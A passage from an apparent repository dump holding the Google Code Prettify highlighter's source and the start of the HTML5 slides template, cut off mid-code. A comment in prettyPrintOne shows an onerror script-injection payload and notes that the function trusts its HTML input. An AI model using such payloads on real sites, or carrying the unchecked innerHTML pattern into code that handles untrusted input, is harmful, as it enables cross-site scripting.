tag rule.  The handler registered for the 'js' extension would\n    * then be called with 'foo()', and finally, the current decorator would\n    * be called with '<\\/script>' which would not match the original rule and\n    * so the generic tag rule would identify it as a tag.\n    *\n    * Pattern must only match prefixes, and if it matches a prefix, then that\n    * match is considered a token with the same style.\n    *\n    * Context is applied to the last non-whitespace, non-comment token\n    * recognized.\n    *\n    * Shortcut is an optional string of characters, any of which, if the first\n    * character, gurantee that this pattern and only this pattern matches.\n    *\n    * @param {Array} shortcutStylePatterns patterns that always start with\n    *   a known character.  Must have a shortcut string.\n    * @param {Array} fallthroughStylePatterns patterns that will be tried in\n    *   order if the shortcut ones fail.  May have shortcuts.\n    *\n    * @return {function (Object)} a\n    *   function that takes source code and returns a list of decorations.\n    */\n  function createSimpleLexer(shortcutStylePatterns, fallthroughStylePatterns) {\n    var shortcuts = {};\n    var tokenizer;\n    (function () {\n      var allPatterns = shortcutStylePatterns.concat(fallthroughStylePatterns);\n      var allRegexs = [];\n      var regexKeys = {};\n      for (var i = 0, n = allPatterns.length; i < n; ++i) {\n        var patternParts = allPatterns[i];\n        var shortcutChars = patternParts[3];\n        if (shortcutChars) {\n          for (var c = shortcutChars.length; --c >= 0;) {\n            shortcuts[shortcutChars.charAt(c)] = patternParts;\n          }\n        }\n        var regex = patternParts[1];\n        var k = '' + regex;\n        if (!regexKeys.hasOwnProperty(k)) {\n          allRegexs.push(regex);\n          regexKeys[k] = null;\n        }\n      }\n      allRegexs.push(/[\\0-\\uffff]/);\n      tokenizer = combinePrefixPatterns(allRegexs);\n    })();\n\n    var nPatterns = fallthroughStylePatterns.length;\n    var notWs = /\\S/;\n\n    /**\n     * Lexes job.source and produces an output array job.decorations of style\n     * classes preceded by the position at which they start in job.source in\n     * order.\n     *\n     * @param {Object} job an object like {@code\n     *    source: {string} sourceText plain text,\n     *    basePos: {int} position of job.source in the larger chunk of\n     *        sourceCode.\n     * }\n     */\n    var decorate = function (job) {\n      var sourceCode = job.source, basePos = job.basePos;\n      /** Even entries are positions in source in ascending order.  Odd enties\n        * are style markers (e.g., PR_COMMENT) that run from that position until\n        * the end.\n        * @type {Array.<number|string>}\n        */\n      var decorations = [basePos, PR_PLAIN];\n      var pos = 0;  // index into sourceCode\n      var tokens = sourceCode.match(tokenizer) || [];\n      var styleCache = {};\n\n      for (var ti = 0, nTokens = tokens.length; ti < nTokens; ++ti) {\n        var token = tokens[ti];\n        var style = styleCache[token];\n        var match = void 0;\n\n        var isEmbedded;\n        if (typeof style === 'string') {\n          isEmbedded = false;\n        } else {\n          var patternParts = shortcuts[token.charAt(0)];\n          if (patternParts) {\n            match = token.match(patternParts[1]);\n            style = patternParts[0];\n          } else {\n            for (var i = 0; i < nPatterns; ++i) {\n              patternParts = fallthroughStylePatterns[i];\n              match = token.match(patternParts[1]);\n              if (match) {\n                style = patternParts[0];\n                break;\n              }\n            }\n\n            if (!match) {  // make sure that we make progress\n              style = PR_PLAIN;\n            }\n          }\n\n          isEmbedded = style.length >= 5 && 'lang-' === style.substring(0, 5);\n          if (isEmbedded && !(match && typeof match[1] === 'string')) {\n            isEmbedded = false;\n            style = PR_SOURCE;\n          }\n\n          if (!isEmbedded) { styleCache[token] = style; }\n        }\n\n        var tokenStart = pos;\n        pos += token.length;\n\n        if (!isEmbedded) {\n          decorations.push(basePos + tokenStart, style);\n        } else {  // Treat group 1 as an embedded block of source code.\n          var embeddedSource = match[1];\n          var embeddedSourceStart = token.indexOf(embeddedSource);\n          var embeddedSourceEnd = embeddedSourceStart + embeddedSource.length;\n          if (match[2]) {\n            // If embeddedSource can be blank, then it would match at the\n            // beginning which would cause us to infinitely recurse on the\n            // entire token, so we catch the right context in match[2].\n            embeddedSourceEnd = token.length - match[2].length;\n            embeddedSourceStart = embeddedSourceEnd - embeddedSource.length;\n          }\n          var lang = style.substring(5);\n          // Decorate the left of the embedded source\n          appendDecorations(\n              basePos + tokenStart,\n              token.substring(0, embeddedSourceStart),\n              decorate, decorations);\n          // Decorate the embedded source\n          appendDecorations(\n              basePos + tokenStart + embeddedSourceStart,\n              embeddedSource,\n              langHandlerForExtension(lang, embeddedSource),\n              decorations);\n          // Decorate the right of the embedded section\n          appendDecorations(\n              basePos + tokenStart + embeddedSourceEnd,\n              token.substring(embeddedSourceEnd),\n              decorate, decorations);\n        }\n      }\n      job.decorations = decorations;\n    };\n    return decorate;\n  }\n\n  /** returns a function that produces a list of decorations from source text.\n    *\n    * This code treats \", ', and ` as string delimiters, and \\ as a string\n    * escape.  It does not recognize perl's qq() style strings.\n    * It has no special handling for double delimiter escapes as in basic, or\n    * the tripled delimiters used in python, but should work on those regardless\n    * although in those cases a single string literal may be broken up into\n    * multiple adjacent string literals.\n    *\n    * It recognizes C, C++, and shell style comments.\n    *\n    * @param {Object} options a set of optional parameters.\n    * @return {function (Object)} a function that examines the source code\n    *     in the input job and builds the decoration list.\n    */\n  function sourceDecorator(options) {\n    var shortcutStylePatterns = [], fallthroughStylePatterns = [];\n    if (options['tripleQuotedStrings']) {\n      // '''multi-line-string''', 'single-line-string', and double-quoted\n      shortcutStylePatterns.push(\n          [PR_STRING,  /^(?:\\'\\'\\'(?:[^\\'\\\\]|\\\\[\\s\\S]|\\'{1,2}(?=[^\\']))*(?:\\'\\'\\'|$)|\\\"\\\"\\\"(?:[^\\\"\\\\]|\\\\[\\s\\S]|\\\"{1,2}(?=[^\\\"]))*(?:\\\"\\\"\\\"|$)|\\'(?:[^\\\\\\']|\\\\[\\s\\S])*(?:\\'|$)|\\\"(?:[^\\\\\\\"]|\\\\[\\s\\S])*(?:\\\"|$))/,\n           null, '\\'\"']);\n    } else if (options['multiLineStrings']) {\n      // 'multi-line-string', \"multi-line-string\"\n      shortcutStylePatterns.push(\n          [PR_STRING,  /^(?:\\'(?:[^\\\\\\']|\\\\[\\s\\S])*(?:\\'|$)|\\\"(?:[^\\\\\\\"]|\\\\[\\s\\S])*(?:\\\"|$)|\\`(?:[^\\\\\\`]|\\\\[\\s\\S])*(?:\\`|$))/,\n           null, '\\'\"`']);\n    } else {\n      // 'single-line-string', \"single-line-string\"\n      shortcutStylePatterns.push(\n          [PR_STRING,\n           /^(?:\\'(?:[^\\\\\\'\\r\\n]|\\\\.)*(?:\\'|$)|\\\"(?:[^\\\\\\\"\\r\\n]|\\\\.)*(?:\\\"|$))/,\n           null, '\"\\'']);\n    }\n    if (options['verbatimStrings']) {\n      // verbatim-string-literal production from the C# grammar.  See issue 93.\n      fallthroughStylePatterns.push(\n          [PR_STRING, /^@\\\"(?:[^\\\"]|\\\"\\\")*(?:\\\"|$)/, null]);\n    }\n    var hc = options['hashComments'];\n    if (hc) {\n      if (options['cStyleComments']) {\n        if (hc > 1) {  // multiline hash comments\n          shortcutStylePatterns.push(\n              [PR_COMMENT, /^#(?:##(?:[^#]|#(?!##))*(?:###|$)|.*)/, null, '#']);\n        } else {\n          // Stop C preprocessor declarations at an unclosed open comment\n          shortcutStylePatterns.push(\n              [PR_COMMENT, /^#(?:(?:define|elif|else|endif|error|ifdef|include|ifndef|line|pragma|undef|warning)\\b|[^\\r\\n]*)/,\n               null, '#']);\n        }\n        fallthroughStylePatterns.push(\n            [PR_STRING,\n             /^<(?:(?:(?:\\.\\.\\/)*|\\/?)(?:[\\w-]+(?:\\/[\\w-]+)+)?[\\w-]+\\.h|[a-z]\\w*)>/,\n             null]);\n      } else {\n        shortcutStylePatterns.push([PR_COMMENT, /^#[^\\r\\n]*/, null, '#']);\n      }\n    }\n    if (options['cStyleComments']) {\n      fallthroughStylePatterns.push([PR_COMMENT, /^\\/\\/[^\\r\\n]*/, null]);\n      fallthroughStylePatterns.push(\n          [PR_COMMENT, /^\\/\\*[\\s\\S]*?(?:\\*\\/|$)/, null]);\n    }\n    if (options['regexLiterals']) {\n      var REGEX_LITERAL = (\n          // A regular expression literal starts with a slash that is\n          // not followed by * or / so that it is not confused with\n          // comments.\n          '/(?=[^/*])'\n          // and then contains any number of raw characters,\n          + '(?:[^/\\\\x5B\\\\x5C]'\n          // escape sequences (\\x5C),\n          +    '|\\\\x5C[\\\\s\\\\S]'\n          // or non-nesting character sets (\\x5B\\x5D);\n          +    '|\\\\x5B(?:[^\\\\x5C\\\\x5D]|\\\\x5C[\\\\s\\\\S])*(?:\\\\x5D|$))+'\n          // finally closed by a /.\n          + '/');\n      fallthroughStylePatterns.push(\n          ['lang-regex',\n           new RegExp('^' + REGEXP_PRECEDER_PATTERN + '(' + REGEX_LITERAL + ')')\n           ]);\n    }\n\n    var keywords = options['keywords'].replace(/^\\s+|\\s+$/g, '');\n    if (keywords.length) {\n      fallthroughStylePatterns.push(\n          [PR_KEYWORD,\n           new RegExp('^(?:' + keywords.replace(/\\s+/g, '|') + ')\\\\b'), null]);\n    }\n\n    shortcutStylePatterns.push([PR_PLAIN,       /^\\s+/, null, ' \\r\\n\\t\\xA0']);\n    fallthroughStylePatterns.push(\n        // TODO(mikesamuel): recognize non-latin letters and numerals in idents\n        [PR_LITERAL,     /^@[a-z_$][a-z_$@0-9]*/i, null],\n        [PR_TYPE,        /^@?[A-Z]+[a-z][A-Za-z_$@0-9]*/, null],\n        [PR_PLAIN,       /^[a-z_$][a-z_$@0-9]*/i, null],\n        [PR_LITERAL,\n         new RegExp(\n             '^(?:'\n             // A hex number\n             + '0x[a-f0-9]+'\n             // or an octal or decimal number,\n             + '|(?:\\\\d(?:_\\\\d+)*\\\\d*(?:\\\\.\\\\d*)?|\\\\.\\\\d\\\\+)'\n             // possibly in scientific notation\n             + '(?:e[+\\\\-]?\\\\d+)?'\n             + ')'\n             // with an optional modifier like UL for unsigned long\n             + '[a-z]*', 'i'),\n         null, '0123456789'],\n        // Don't treat escaped quotes in bash as starting strings.  See issue 144.\n        [PR_PLAIN,       /^\\\\[\\s\\S]?/, null],\n        [PR_PUNCTUATION, /^.[^\\s\\w\\.$@\\'\\\"\\`\\/\\#\\\\]*/, null]);\n\n    return createSimpleLexer(shortcutStylePatterns, fallthroughStylePatterns);\n  }\n\n  var decorateSource = sourceDecorator({\n        'keywords': ALL_KEYWORDS,\n        'hashComments': true,\n        'cStyleComments': true,\n        'multiLineStrings': true,\n        'regexLiterals': true\n      });\n\n  /**\n   * Given a DOM subtree, wraps it in a list, and puts each line into its own\n   * list item.\n   *\n   * @param {Node} node modified in place.  Its content is pulled into an\n   *     HTMLOListElement, and each line is moved into a separate list item.\n   *     This requires cloning elements, so the input might not have unique\n   *     IDs after numbering.\n   */\n  function numberLines(node, opt_startLineNum) {\n    var nocode = /(?:^|\\s)nocode(?:\\s|$)/;\n    var lineBreak = /\\r\\n?|\\n/;\n  \n    var document = node.ownerDocument;\n  \n    var whitespace;\n    if (node.currentStyle) {\n      whitespace = node.currentStyle.whiteSpace;\n    } else if (window.getComputedStyle) {\n      whitespace = document.defaultView.getComputedStyle(node, null)\n          .getPropertyValue('white-space');\n    }\n    // If it's preformatted, then we need to split lines on line breaks\n    // in addition to <BR>s.\n    var isPreformatted = whitespace && 'pre' === whitespace.substring(0, 3);\n  \n    var li = document.createElement('LI');\n    while (node.firstChild) {\n      li.appendChild(node.firstChild);\n    }\n    // An array of lines.  We split below, so this is initialized to one\n    // un-split line.\n    var listItems = [li];\n  \n    function walk(node) {\n      switch (node.nodeType) {\n        case 1:  // Element\n          if (nocode.test(node.className)) { break; }\n          if ('BR' === node.nodeName) {\n            breakAfter(node);\n            // Discard the <BR> since it is now flush against a </LI>.\n            if (node.parentNode) {\n              node.parentNode.removeChild(node);\n            }\n          } else {\n            for (var child = node.firstChild; child; child = child.nextSibling) {\n              walk(child);\n            }\n          }\n          break;\n        case 3: case 4:  // Text\n          if (isPreformatted) {\n            var text = node.nodeValue;\n            var match = text.match(lineBreak);\n            if (match) {\n              var firstLine = text.substring(0, match.index);\n              node.nodeValue = firstLine;\n              var tail = text.substring(match.index + match[0].length);\n              if (tail) {\n                var parent = node.parentNode;\n                parent.insertBefore(\n                    document.createTextNode(tail), node.nextSibling);\n              }\n              breakAfter(node);\n              if (!firstLine) {\n                // Don't leave blank text nodes in the DOM.\n                node.parentNode.removeChild(node);\n              }\n            }\n          }\n          break;\n      }\n    }\n  \n    // Split a line after the given node.\n    function breakAfter(lineEndNode) {\n      // If there's nothing to the right, then we can skip ending the line\n      // here, and move root-wards since splitting just before an end-tag\n      // would require us to create a bunch of empty copies.\n      while (!lineEndNode.nextSibling) {\n        lineEndNode = lineEndNode.parentNode;\n        if (!lineEndNode) { return; }\n      }\n  \n      function breakLeftOf(limit, copy) {\n        // Clone shallowly if this node needs to be on both sides of the break.\n        var rightSide = copy ? limit.cloneNode(false) : limit;\n        var parent = limit.parentNode;\n        if (parent) {\n          // We clone the parent chain.\n          // This helps us resurrect important styling elements that cross lines.\n          // E.g. in <i>Foo<br>Bar</i>\n          // should be rewritten to <li><i>Foo</i></li><li><i>Bar</i></li>.\n          var parentClone = breakLeftOf(parent, 1);\n          // Move the clone and everything to the right of the original\n          // onto the cloned parent.\n          var next = limit.nextSibling;\n          parentClone.appendChild(rightSide);\n          for (var sibling = next; sibling; sibling = next) {\n            next = sibling.nextSibling;\n            parentClone.appendChild(sibling);\n          }\n        }\n        return rightSide;\n      }\n  \n      var copiedListItem = breakLeftOf(lineEndNode.nextSibling, 0);\n  \n      // Walk the parent chain until we reach an unattached LI.\n      for (var parent;\n           // Check nodeType since IE invents document fragments.\n           (parent = copiedListItem.parentNode) && parent.nodeType === 1;) {\n        copiedListItem = parent;\n      }\n      // Put it on the list of lines for later processing.\n      listItems.push(copiedListItem);\n    }\n  \n    // Split lines while there are lines left to split.\n    for (var i = 0;  // Number of lines that have been split so far.\n         i < listItems.length;  // length updated by breakAfter calls.\n         ++i) {\n      walk(listItems[i]);\n    }\n  \n    // Make sure numeric indices show correctly.\n    if (opt_startLineNum === (opt_startLineNum|0)) {\n      listItems[0].setAttribute('value', opt_startLineNum);\n    }\n  \n    var ol = document.createElement('OL');\n    ol.className = 'linenums';\n    var offset = Math.max(0, ((opt_startLineNum - 1 /* zero index */)) | 0) || 0;\n    for (var i = 0, n = listItems.length; i < n; ++i) {\n      li = listItems[i];\n      // Stick a class on the LIs so that stylesheets can\n      // color odd/even rows, or any other row pattern that\n      // is co-prime with 10.\n      li.className = 'L' + ((i + offset) % 10);\n      if (!li.firstChild) {\n        li.appendChild(document.createTextNode('\\xA0'));\n      }\n      ol.appendChild(li);\n    }\n  \n    node.appendChild(ol);\n  }\n\n  /**\n   * Breaks {@code job.source} around style boundaries in {@code job.decorations}\n   * and modifies {@code job.sourceNode} in place.\n   * @param {Object} job like <pre>{\n   *    source: {string} source as plain text,\n   *    spans: {Array.<number|Node>} alternating span start indices into source\n   *       and the text node or element (e.g. {@code <BR>}) corresponding to that\n   *       span.\n   *    decorations: {Array.<number|string} an array of style classes preceded\n   *       by the position at which they start in job.source in order\n   * }</pre>\n   * @private\n   */\n  function recombineTagsAndDecorations(job) {\n    var isIE = /\\bMSIE\\b/.test(navigator.userAgent);\n    var newlineRe = /\\n/g;\n  \n    var source = job.source;\n    var sourceLength = source.length;\n    // Index into source after the last code-unit recombined.\n    var sourceIndex = 0;\n  \n    var spans = job.spans;\n    var nSpans = spans.length;\n    // Index into spans after the last span which ends at or before sourceIndex.\n    var spanIndex = 0;\n  \n    var decorations = job.decorations;\n    var nDecorations = decorations.length;\n    // Index into decorations after the last decoration which ends at or before sourceIndex.\n    var decorationIndex = 0;\n  \n    // Simplify decorations.\n    var decPos = 0;\n    for (var i = 0; i < nDecorations;) {\n      // Skip over any zero-length decorations.\n      var startPos = decorations[i];\n      var start = i;\n      while (start + 2 < nDecorations && decorations[start + 2] === startPos) {\n        start += 2;\n      }\n      // Conflate all adjacent decorations that use the same style.\n      var startDec = decorations[start + 1];\n      var end = start + 2;\n      while (end + 2 <= nDecorations\n             && (decorations[end + 1] === startDec\n                 || decorations[end] === decorations[end + 2])) {\n        end += 2;\n      }\n      decorations[decPos++] = startPos;\n      decorations[decPos++] = startDec;\n      i = end;\n    }\n  \n    // Strip any zero-length decoration at the end.\n    if (decPos && decorations[decPos - 2] === sourceLength) { decPos -= 2; }\n    nDecorations = decorations.length = decPos;\n  \n    var decoration = null;\n    while (spanIndex < nSpans) {\n      var spanStart = spans[spanIndex];\n      var spanEnd = spans[spanIndex + 2] || sourceLength;\n  \n      var decStart = decorations[decorationIndex];\n      var decEnd = decorations[decorationIndex + 2] || sourceLength;\n  \n      var end = Math.min(spanEnd, decEnd);\n  \n      var textNode = spans[spanIndex + 1];\n      if (textNode.nodeType !== 1) {  // Don't muck with <BR>s or <LI>s\n        var styledText = source.substring(sourceIndex, end);\n        // This may seem bizarre, and it is.  Emitting LF on IE causes the\n        // code to display with spaces instead of line breaks.\n        // Emitting Windows standard issue linebreaks (CRLF) causes a blank\n        // space to appear at the beginning of every line but the first.\n        // Emitting an old Mac OS 9 line separator makes everything spiffy.\n        if (isIE) { styledText = styledText.replace(newlineRe, '\\r'); }\n        textNode.nodeValue = styledText;\n        var document = textNode.ownerDocument;\n        var span = document.createElement('SPAN');\n        span.className = decorations[decorationIndex + 1];\n        var parentNode = textNode.parentNode;\n        parentNode.replaceChild(span, textNode);\n        span.appendChild(textNode);\n        if (sourceIndex < spanEnd) {  // Split off a text node.\n          spans[spanIndex + 1] = textNode\n              // TODO: Possibly optimize by using '' if there's no flicker.\n              = document.createTextNode(source.substring(end, spanEnd));\n          parentNode.insertBefore(textNode, span.nextSibling);\n        }\n      }\n  \n      sourceIndex = end;\n  \n      if (sourceIndex >= spanEnd) {\n        spanIndex += 2;\n      }\n      if (sourceIndex >= decEnd) {\n        decorationIndex += 2;\n      }\n    }\n  }\n\n\n  /** Maps language-specific file extensions to handlers. */\n  var langHandlerRegistry = {};\n  /** Register a language handler for the given file extensions.\n    * @param {function (Object)} handler a function from source code to a list\n    *      of decorations.  Takes a single argument job which describes the\n    *      state of the computation.   The single parameter has the form\n    *      {@code {\n    *        source: {string} as plain text.\n    *        decorations: {Array.<number|string>} an array of style classes\n    *                     preceded by the position at which they start in\n    *                     job.source in order.\n    *                     The language handler should assigned this field.\n    *        basePos: {int} the position of source in the larger source chunk.\n    *                 All positions in the output decorations array are relative\n    *                 to the larger source chunk.\n    *      } }\n    * @param {Array.<string>} fileExtensions\n    */\n  function registerLangHandler(handler, fileExtensions) {\n    for (var i = fileExtensions.length; --i >= 0;) {\n      var ext = fileExtensions[i];\n      if (!langHandlerRegistry.hasOwnProperty(ext)) {\n        langHandlerRegistry[ext] = handler;\n      } else if ('console' in window) {\n        console['warn']('cannot override language handler %s', ext);\n      }\n    }\n  }\n  function langHandlerForExtension(extension, source) {\n    if (!(extension && langHandlerRegistry.hasOwnProperty(extension))) {\n      // Treat it as markup if the first non whitespace character is a < and\n      // the last non-whitespace character is a >.\n      extension = /^\\s*</.test(source)\n          ? 'default-markup'\n          : 'default-code';\n    }\n    return langHandlerRegistry[extension];\n  }\n  registerLangHandler(decorateSource, ['default-code']);\n  registerLangHandler(\n      createSimpleLexer(\n          [],\n          [\n           [PR_PLAIN,       /^[^<?]+/],\n           [PR_DECLARATION, /^<!\\w[^>]*(?:>|$)/],\n           [PR_COMMENT,     /^<\\!--[\\s\\S]*?(?:-\\->|$)/],\n           // Unescaped content in an unknown language\n           ['lang-',        /^<\\?([\\s\\S]+?)(?:\\?>|$)/],\n           ['lang-',        /^<%([\\s\\S]+?)(?:%>|$)/],\n           [PR_PUNCTUATION, /^(?:<[%?]|[%?]>)/],\n           ['lang-',        /^<xmp\\b[^>]*>([\\s\\S]+?)<\\/xmp\\b[^>]*>/i],\n           // Unescaped content in javascript.  (Or possibly vbscript).\n           ['lang-js',      /^<script\\b[^>]*>([\\s\\S]*?)(<\\/script\\b[^>]*>)/i],\n           // Contains unescaped stylesheet content\n           ['lang-css',     /^<style\\b[^>]*>([\\s\\S]*?)(<\\/style\\b[^>]*>)/i],\n           ['lang-in.tag',  /^(<\\/?[a-z][^<>]*>)/i]\n          ]),\n      ['default-markup', 'htm', 'html', 'mxml', 'xhtml', 'xml', 'xsl']);\n  registerLangHandler(\n      createSimpleLexer(\n          [\n           [PR_PLAIN,        /^[\\s]+/, null, ' \\t\\r\\n'],\n           [PR_ATTRIB_VALUE, /^(?:\\\"[^\\\"]*\\\"?|\\'[^\\']*\\'?)/, null, '\\\"\\'']\n           ],\n          [\n           [PR_TAG,          /^^<\\/?[a-z](?:[\\w.:-]*\\w)?|\\/?>$/i],\n           [PR_ATTRIB_NAME,  /^(?!style[\\s=]|on)[a-z](?:[\\w:-]*\\w)?/i],\n           ['lang-uq.val',   /^=\\s*([^>\\'\\\"\\s]*(?:[^>\\'\\\"\\s\\/]|\\/(?=\\s)))/],\n           [PR_PUNCTUATION,  /^[=<>\\/]+/],\n           ['lang-js',       /^on\\w+\\s*=\\s*\\\"([^\\\"]+)\\\"/i],\n           ['lang-js',       /^on\\w+\\s*=\\s*\\'([^\\']+)\\'/i],\n           ['lang-js',       /^on\\w+\\s*=\\s*([^\\\"\\'>\\s]+)/i],\n           ['lang-css',      /^style\\s*=\\s*\\\"([^\\\"]+)\\\"/i],\n           ['lang-css',      /^style\\s*=\\s*\\'([^\\']+)\\'/i],\n           ['lang-css',      /^style\\s*=\\s*([^\\\"\\'>\\s]+)/i]\n           ]),\n      ['in.tag']);\n  registerLangHandler(\n      createSimpleLexer([], [[PR_ATTRIB_VALUE, /^[\\s\\S]+/]]), ['uq.val']);\n  registerLangHandler(sourceDecorator({\n          'keywords': CPP_KEYWORDS,\n          'hashComments': true,\n          'cStyleComments': true\n        }), ['c', 'cc', 'cpp', 'cxx', 'cyc', 'm']);\n  registerLangHandler(sourceDecorator({\n          'keywords': 'null true false'\n        }), ['json']);\n  registerLangHandler(sourceDecorator({\n          'keywords': CSHARP_KEYWORDS,\n          'hashComments': true,\n          'cStyleComments': true,\n          'verbatimStrings': true\n        }), ['cs']);\n  registerLangHandler(sourceDecorator({\n          'keywords': JAVA_KEYWORDS,\n          'cStyleComments': true\n        }), ['java']);\n  registerLangHandler(sourceDecorator({\n          'keywords': SH_KEYWORDS,\n          'hashComments': true,\n          'multiLineStrings': true\n        }), ['bsh', 'csh', 'sh']);\n  registerLangHandler(sourceDecorator({\n          'keywords': PYTHON_KEYWORDS,\n          'hashComments': true,\n          'multiLineStrings': true,\n          'tripleQuotedStrings': true\n        }), ['cv', 'py']);\n  registerLangHandler(sourceDecorator({\n          'keywords': PERL_KEYWORDS,\n          'hashComments': true,\n          'multiLineStrings': true,\n          'regexLiterals': true\n        }), ['perl', 'pl', 'pm']);\n  registerLangHandler(sourceDecorator({\n          'keywords': RUBY_KEYWORDS,\n          'hashComments': true,\n          'multiLineStrings': true,\n          'regexLiterals': true\n        }), ['rb']);\n  registerLangHandler(sourceDecorator({\n          'keywords': JSCRIPT_KEYWORDS,\n          'cStyleComments': true,\n          'regexLiterals': true\n        }), ['js']);\n  registerLangHandler(sourceDecorator({\n          'keywords': COFFEE_KEYWORDS,\n          'hashComments': 3,  // ### style block comments\n          'cStyleComments': true,\n          'multilineStrings': true,\n          'tripleQuotedStrings': true,\n          'regexLiterals': true\n        }), ['coffee']);\n  registerLangHandler(createSimpleLexer([], [[PR_STRING, /^[\\s\\S]+/]]), ['regex']);\n\n  function applyDecorator(job) {\n    var opt_langExtension = job.langExtension;\n\n    try {\n      // Extract tags, and convert the source code to plain text.\n      var sourceAndSpans = extractSourceSpans(job.sourceNode);\n      /** Plain text. @type {string} */\n      var source = sourceAndSpans.source;\n      job.source = source;\n      job.spans = sourceAndSpans.spans;\n      job.basePos = 0;\n\n      // Apply the appropriate language handler\n      langHandlerForExtension(opt_langExtension, source)(job);\n\n      // Integrate the decorations and tags back into the source code,\n      // modifying the sourceNode in place.\n      recombineTagsAndDecorations(job);\n    } catch (e) {\n      if ('console' in window) {\n        console['log'](e && e['stack'] ? e['stack'] : e);\n      }\n    }\n  }\n\n  /**\n   * @param sourceCodeHtml {string} The HTML to pretty print.\n   * @param opt_langExtension {string} The language name to use.\n   *     Typically, a filename extension like 'cpp' or 'java'.\n   * @param opt_numberLines {number|boolean} True to number lines,\n   *     or the 1-indexed number of the first line in sourceCodeHtml.\n   */\n  function prettyPrintOne(sourceCodeHtml, opt_langExtension, opt_numberLines) {\n    var container = document.createElement('PRE');\n    // This could cause images to load and onload listeners to fire.\n    // E.g. <img onerror=\"alert(1337)\" src=\"nosuchimage.png\">.\n    // We assume that the inner HTML is from a trusted source.\n    container.innerHTML = sourceCodeHtml;\n    if (opt_numberLines) {\n      numberLines(container, opt_numberLines);\n    }\n\n    var job = {\n      langExtension: opt_langExtension,\n      numberLines: opt_numberLines,\n      sourceNode: container\n    };\n    applyDecorator(job);\n    return container.innerHTML;\n  }\n\n  function prettyPrint(opt_whenDone) {\n    function byTagName(tn) { return document.getElementsByTagName(tn); }\n    // fetch a list of nodes to rewrite\n    var codeSegments = [byTagName('pre'), byTagName('code'), byTagName('xmp')];\n    var elements = [];\n    for (var i = 0; i < codeSegments.length; ++i) {\n      for (var j = 0, n = codeSegments[i].length; j < n; ++j) {\n        elements.push(codeSegments[i][j]);\n      }\n    }\n    codeSegments = null;\n\n    var clock = Date;\n    if (!clock['now']) {\n      clock = { 'now': function () { return (new Date).getTime(); } };\n    }\n\n    // The loop is broken into a series of continuations to make sure that we\n    // don't make the browser unresponsive when rewriting a large page.\n    var k = 0;\n    var prettyPrintingJob;\n\n    function doWork() {\n      var endTime = (window['PR_SHOULD_USE_CONTINUATION'] ?\n                     clock.now() + 250 /* ms */ :\n                     Infinity);\n      for (; k < elements.length && clock.now() < endTime; k++) {\n        var cs = elements[k];\n        if (cs.className && cs.className.indexOf('prettyprint') >= 0) {\n          // If the classes includes a language extensions, use it.\n          // Language extensions can be specified like\n          //     <pre class=\"prettyprint lang-cpp\">\n          // the language extension \"cpp\" is used to find a language handler as\n          // passed to PR.registerLangHandler.\n          var langExtension = cs.className.match(/\\blang-(\\w+)\\b/);\n          if (langExtension) { langExtension = langExtension[1]; }\n\n          // make sure this is not nested in an already prettified element\n          var nested = false;\n          for (var p = cs.parentNode; p; p = p.parentNode) {\n            if ((p.tagName === 'pre' || p.tagName === 'code' ||\n                 p.tagName === 'xmp') &&\n                p.className && p.className.indexOf('prettyprint') >= 0) {\n              nested = true;\n              break;\n            }\n          }\n          if (!nested) {\n            // Look for a class like linenums or linenums:<n> where <n> is the\n            // 1-indexed number of the first line.\n            var lineNums = cs.className.match(/\\blinenums\\b(?::(\\d+))?/);\n            lineNums = lineNums\n                  ? lineNums[1] && lineNums[1].length ? +lineNums[1] : true\n                  : false;\n            if (lineNums) { numberLines(cs, lineNums); }\n\n            // do the pretty printing\n            prettyPrintingJob = {\n              langExtension: langExtension,\n              sourceNode: cs,\n              numberLines: lineNums\n            };\n            applyDecorator(prettyPrintingJob);\n          }\n        }\n      }\n      if (k < elements.length) {\n        // finish up in a continuation\n        setTimeout(doWork, 250);\n      } else if (opt_whenDone) {\n        opt_whenDone();\n      }\n    }\n\n    doWork();\n  }\n\n  window['prettyPrintOne'] = prettyPrintOne;\n  window['prettyPrint'] = prettyPrint;\n  window['PR'] = {\n        'createSimpleLexer': createSimpleLexer,\n        'registerLangHandler': registerLangHandler,\n        'sourceDecorator': sourceDecorator,\n        'PR_ATTRIB_NAME': PR_ATTRIB_NAME,\n        'PR_ATTRIB_VALUE': PR_ATTRIB_VALUE,\n        'PR_COMMENT': PR_COMMENT,\n        'PR_DECLARATION': PR_DECLARATION,\n        'PR_KEYWORD': PR_KEYWORD,\n        'PR_LITERAL': PR_LITERAL,\n        'PR_NOCODE': PR_NOCODE,\n        'PR_PLAIN': PR_PLAIN,\n        'PR_PUNCTUATION': PR_PUNCTUATION,\n        'PR_SOURCE': PR_SOURCE,\n        'PR_STRING': PR_STRING,\n        'PR_TAG': PR_TAG,\n        'PR_TYPE': PR_TYPE\n      };\n})();\n"
  },
  {
    "path": "papers/LCA 2012_ PHP Static Code Analysis_files/slides.txt",
    "content": "/*\n  Google HTML5 slides template\n\n  Authors: Luke Mahé (code)\n           Marcin Wichary (code and design)\n\n           Dominic Mazzoni (browser compatibility)\n           Charles Chen (ChromeVox support)\n\n  URL: http://code.google.com/p/html5slides/\n*/\n\nvar PERMANENT_URL_PREFIX = 'http://html5slides.googlecode.com/svn/trunk/';\n\nvar SLIDE_CLASSES = ['far-past', 'past', 'current', 'next', 'far-next'];\n\nvar PM_TOUCH_SENSITIVITY = 15;\n\nvar curSlide;\n\n/* ---------------------------------------------------------------------- */\n/* classList polyfill by Eli Grey\n * (http://purl.eligrey.com/github/classList.js/blob/master/classList.js) */\n\nif (typeof document !== \"undefined\" && !(\"classList\" in document.createElement(\"a\"))) {\n\n(function (view) {\n\nvar\n    classListProp = \"classList\"\n  , protoProp = \"prototype\"\n  , elemCtrProto = (view.HTMLElement || view.Element)[protoProp]\n  , objCtr = Object\n    strTrim = String[protoProp].trim || function () {\n    return this.replace(/^\\s+|\\s+$/g, \"\");\n  }\n  , arrIndexOf = Array[protoProp].indexOf || function (item) {\n    for (var i = 0, len = this.length; i < len; i++) {\n      if (i in this && this[i] === item) {\n        return i;\n      }\n    }\n    return -1;\n  }\n  // Vendors: please allow content code to instantiate DOMExceptions\n  , DOMEx = function (type, message) {\n    this.name = type;\n    this.code = DOMException[type];\n    this.message = message;\n  }\n  , checkTokenAndGetIndex = function (classList, token) {\n    if (token === \"\") {\n      throw new DOMEx(\n          \"SYNTAX_ERR\"\n        , \"An invalid or illegal string was specified\"\n      );\n    }\n    if (/\\s/.test(token)) {\n      throw new DOMEx(\n          \"INVALID_CHARACTER_ERR\"\n        , \"String contains an invalid character\"\n      );\n    }\n    return arrIndexOf.call(classList, token);\n  }\n  , 